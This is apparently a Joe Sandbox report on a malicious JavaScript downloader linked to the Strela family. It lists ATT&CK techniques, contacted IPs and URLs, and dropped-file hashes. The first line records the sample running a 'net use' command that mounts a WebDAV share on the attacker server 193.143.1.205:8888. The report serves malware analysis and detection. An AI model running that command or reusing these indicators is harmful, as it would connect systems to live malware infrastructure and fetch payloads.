Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2832817159901627624.js	5%	Virustotal		Browse
2832817159901627624.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/sace	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/o	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.37	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3380932979.000002C20B0C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2147790610.000002C210670000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/sace	net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0	net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2147584268.000001F049430000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145201832.000001F049413000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2144922567.000001F04942E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147432508.000001F049413000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/o	net.exe, 00000007.00000003.2145201832.000001F049413000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2147432508.000001F049413000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588151
Start date and time:	2025-01-10 21:59:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2832817159901627624.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/61@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 217.20.57.37, 23.209.209.135, 2.22.242.123, 2.22.242.11, 23.40.179.21, 23.40.179.9, 23.40.179.8, 23.40.179.22, 23.40.179.71, 23.40.179.48, 23.40.179.29, 13.107.246.45, 20.109.210.53, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:00:55	API Interceptor	19x Sleep call for process: powershell.exe modified
16:00:58	API Interceptor	1x Sleep call for process: net.exe modified
16:00:58	API Interceptor	2x Sleep call for process: svchost.exe modified
16:01:11	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306872811788347
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugI:gJjJGtpTq2yv1AuNZRY3diu8iBVqFO
MD5:	1403BFAC6B100BB6142CD85D6C0B38D1
SHA1:	9F387C1A447F30BFB6B14F4DAB86C95D2AC07D67
SHA-256:	FBB4D0BBAA1629B78482E009199B3B738DDC186C0A8A29A7C62156112E9F4A00
SHA-512:	42F33E42A1F09BB233DF8D44BA4E41995C94F8B8D8474B6392366014C2F7432B7FA001917B667EC38B91EF4DC72633E0BCA4E636CDE56288680701F97536CBD1
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xca1e75fb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584808181155284
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	089F7D80AD4CA5229810ECA9E6B8ACA4
SHA1:	4010DBEC7F76636DADC1B2622556DD28E9746B08
SHA-256:	D8E6D56216E641A2044E3445ABE8A3710D8E2EB5F6C058C3D9D398EA52754525
SHA-512:	C86109A025F760AC9655A2035078D718D56BB865B9D94D1F3A42F7CC1A6CECCB7A88273C9EA21225C1DBFE92FA4D42C1550FA7680C946ADA0F4E4BCAEDA98A3D
Malicious:	false
Preview:	..u.... ...............X\...;...{......................0.z..........{..;....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................gy>{;....}..................U.2/;....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07766672102047226
Encrypted:	false
SSDEEP:	3:V/llEYepP4kGuAJkhvekl1JpwllrekGltll/SPj:dllEzpPzrxl3pQJe3l
MD5:	A9B6BE39D0516512CDFE5DF0A3FFED19
SHA1:	4DDEED7A6C33964C9B9C085DC898FFBB8D0B7DE6
SHA-256:	57AD5AC036DBD4C15CE9A4D75C86C67939AE35AF407F9E0EAD7A89C221C06060
SHA-512:	3997A8C72E423D3EBFAB9C08A9D42983E4955D307D3FB69C2B58A747FFA398E61DDCB4FAA2EF5BD3018371AFC1C7B760CE7008AA0AECB7E023D757DAF94B3610
Malicious:	false
Preview:	.d.......................................;...{..;....}.......{...............{.......{...XL......{..................U.2/;....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2221104341287905
Encrypted:	false
SSDEEP:	6:iO43aMq2P92nKuAl9OmbnIFUtS34Zmws3gkwO92nKuAl9OmbjLJ:7Mv4HAahFUtJ/d5LHAaSJ
MD5:	4D851E7D5DFD1788D0CAB15E73D3A627
SHA1:	08056758AFCA499FD6444BC73E16CC340376F5FB
SHA-256:	0CB191543AADD24563FDA6625FCA34B6D5CB871290C0A508E97FB6A66DCC2B18
SHA-512:	14E7D371C8C3EC9368CD3F7F6C3A5F8D7D7CB0C14FC5A10FA4B42F9550C4456132D53B788BF95FF89322E9C810621344FCCA7D74573DD9467A738C04926A9334
Malicious:	false
Preview:	2025/01/10-16:00:58.737 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:00:58.739 1c34 Recovering log #3.2025/01/10-16:00:58.739 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2221104341287905
Encrypted:	false
SSDEEP:	6:iO43aMq2P92nKuAl9OmbnIFUtS34Zmws3gkwO92nKuAl9OmbjLJ:7Mv4HAahFUtJ/d5LHAaSJ
MD5:	4D851E7D5DFD1788D0CAB15E73D3A627
SHA1:	08056758AFCA499FD6444BC73E16CC340376F5FB
SHA-256:	0CB191543AADD24563FDA6625FCA34B6D5CB871290C0A508E97FB6A66DCC2B18
SHA-512:	14E7D371C8C3EC9368CD3F7F6C3A5F8D7D7CB0C14FC5A10FA4B42F9550C4456132D53B788BF95FF89322E9C810621344FCCA7D74573DD9467A738C04926A9334
Malicious:	false
Preview:	2025/01/10-16:00:58.737 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:00:58.739 1c34 Recovering log #3.2025/01/10-16:00:58.739 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.150530699737561
Encrypted:	false
SSDEEP:	6:iO437M+q2P92nKuAl9Ombzo2jMGIFUtS3ZZmws3/MVkwO92nKuAl9Ombzo2jMmLJ:7b+v4HAa8uFUtw/HV5LHAa8RJ
MD5:	BAC66772A3C9C7B8A800515493B5CAC9
SHA1:	2B16F760A628036588FF6E9E64EFEABDD6CDAE29
SHA-256:	42134FEEF55276284F13188C936D7BF28390D867D3A2BF68F74E1BB14D516C1C
SHA-512:	CFE53DDAC64E9A25BE3A5879BE11DD4FD5CDDB45E2246D72387BDF4A4B52B1C6E2BE3F08A9F45494C1F9E8CF58A7D58589B6B218E7B32CCC9D5ABBAD0A3A41AE
Malicious:	false
Preview:	2025/01/10-16:00:58.787 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:00:58.797 1cac Recovering log #3.2025/01/10-16:00:58.798 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.150530699737561
Encrypted:	false
SSDEEP:	6:iO437M+q2P92nKuAl9Ombzo2jMGIFUtS3ZZmws3/MVkwO92nKuAl9Ombzo2jMmLJ:7b+v4HAa8uFUtw/HV5LHAa8RJ
MD5:	BAC66772A3C9C7B8A800515493B5CAC9
SHA1:	2B16F760A628036588FF6E9E64EFEABDD6CDAE29
SHA-256:	42134FEEF55276284F13188C936D7BF28390D867D3A2BF68F74E1BB14D516C1C
SHA-512:	CFE53DDAC64E9A25BE3A5879BE11DD4FD5CDDB45E2246D72387BDF4A4B52B1C6E2BE3F08A9F45494C1F9E8CF58A7D58589B6B218E7B32CCC9D5ABBAD0A3A41AE
Malicious:	false
Preview:	2025/01/10-16:00:58.787 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:00:58.797 1cac Recovering log #3.2025/01/10-16:00:58.798 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\26aaef9b-efcb-4b3b-81dd-a6aed06f01a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047098793264739
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEFsBdOg2HEZcaq3QYiubxnP7E4T3OF+:Y2sRdsBGdMHt3QYhbxP7nbI+
MD5:	1BD83AA03B5CAB45A4358AF6A48A2161
SHA1:	21705F0AE2CFD871828D7E3F09938B3D551649C5
SHA-256:	A3CF8E5B29131B466F6BAEB829B096D413488BF042F2E716C86290B951EC588A
SHA-512:	E4FB9802AB19CF311CE7088CA06F4871F12EADB8AA1641708F38DE5FCDFBF3E94269E6192BA5B586616C8F408DC50D9CB44195DC6EC7EC28C257A71B14BED154
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102871459313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133973},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047098793264739
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEFsBdOg2HEZcaq3QYiubxnP7E4T3OF+:Y2sRdsBGdMHt3QYhbxP7nbI+
MD5:	1BD83AA03B5CAB45A4358AF6A48A2161
SHA1:	21705F0AE2CFD871828D7E3F09938B3D551649C5
SHA-256:	A3CF8E5B29131B466F6BAEB829B096D413488BF042F2E716C86290B951EC588A
SHA-512:	E4FB9802AB19CF311CE7088CA06F4871F12EADB8AA1641708F38DE5FCDFBF3E94269E6192BA5B586616C8F408DC50D9CB44195DC6EC7EC28C257A71B14BED154
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102871459313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133973},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238751599640105
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUh0nwSg:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL+
MD5:	CB668AF56C8EEC2E6ED50CB5E322D250
SHA1:	1A403630C254C7B6CCA1D23AB00D44DC44A43B9B
SHA-256:	F60B251B56EBEB2BC2CFC4E3FBE805C1F8B6A0A169D8418B6930F686EAB108E3
SHA-512:	0F647496610F3EBE8EA72EF36D5B51997608F315E0B19AB5390E0280BA63CFBF24BC1A6729329AA544F0EDB10A3E6E6311A65FE9DEA3BEFA1B112303D0AD104C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.116004419132747
Encrypted:	false
SSDEEP:	6:iO436M+q2P92nKuAl9OmbzNMxIFUtS3pXZmws3pqMVkwO92nKuAl9OmbzNMFLJ:7w+v4HAa8jFUt4X/K3V5LHAa84J
MD5:	F82C927E5EC635FD2F508BB31A35380A
SHA1:	2EF415741C20CBE73BC8DE2DDEBB3A8272AC89AE
SHA-256:	F5627D3FAF25D3B6DBFD4FDF1F9D8DC07EA9E150A83E6B80A269485DA727EE45
SHA-512:	3F1C4E09A9146FAA4E04CFD2EC64F4D7C58F70FD55922B2A3C93FB0E9F99084E9F14D0C66AA34CDB89F9DE11243575023ECDAA5506685C1573E3E6E193C13E2D
Malicious:	false
Preview:	2025/01/10-16:00:59.152 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:00:59.154 1cac Recovering log #3.2025/01/10-16:00:59.154 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.116004419132747
Encrypted:	false
SSDEEP:	6:iO436M+q2P92nKuAl9OmbzNMxIFUtS3pXZmws3pqMVkwO92nKuAl9OmbzNMFLJ:7w+v4HAa8jFUt4X/K3V5LHAa84J
MD5:	F82C927E5EC635FD2F508BB31A35380A
SHA1:	2EF415741C20CBE73BC8DE2DDEBB3A8272AC89AE
SHA-256:	F5627D3FAF25D3B6DBFD4FDF1F9D8DC07EA9E150A83E6B80A269485DA727EE45
SHA-512:	3F1C4E09A9146FAA4E04CFD2EC64F4D7C58F70FD55922B2A3C93FB0E9F99084E9F14D0C66AA34CDB89F9DE11243575023ECDAA5506685C1573E3E6E193C13E2D
Malicious:	false
Preview:	2025/01/10-16:00:59.152 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:00:59.154 1cac Recovering log #3.2025/01/10-16:00:59.154 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2932241569218776
Encrypted:	false
SSDEEP:	192:/edRBkVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/eyci5H5FY+EUUUTTcHqFzqFP
MD5:	CDE516A44B105DBC12590DC17E469455
SHA1:	0673B321E4C4D333C9E418FFBC320CFEA4496F83
SHA-256:	56F09CE1D01066FB15A951C5DE448DF6589952EDD967CB1BEE286306E4B4502A
SHA-512:	890FBC164186422B5DCE229E6045B023B639731FC917CE135AFE56600AD776D1FC8FADE7741D0CA093AB7739D02AEEB334B8F9AFA5F58DA14874377C70DC5957
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2009147938269784
Encrypted:	false
SSDEEP:	24:7+tcMEWewKRqqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfw:7MBUUqemFTIF3XmHjBoGGR+jMz+Lh4
MD5:	A000C6CC1BD159E2DD1E22D55D4F3D4E
SHA1:	3118D773550E53EA2ABA5046DE2261F578EFA52A
SHA-256:	E1FB56157248E08BE96BD371C06375A897C2759658798BFA9C95D162CF2CA7CA
SHA-512:	512192899E681364E565CDC71EDB0BD753764BAE63D379422F1274CB248571FAE37A5090FFB00DEF2014B9F306E3823445A0AE7F3CC1CF21B51696F4D57BE400
Malicious:	false
Preview:	.... .c......bH.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
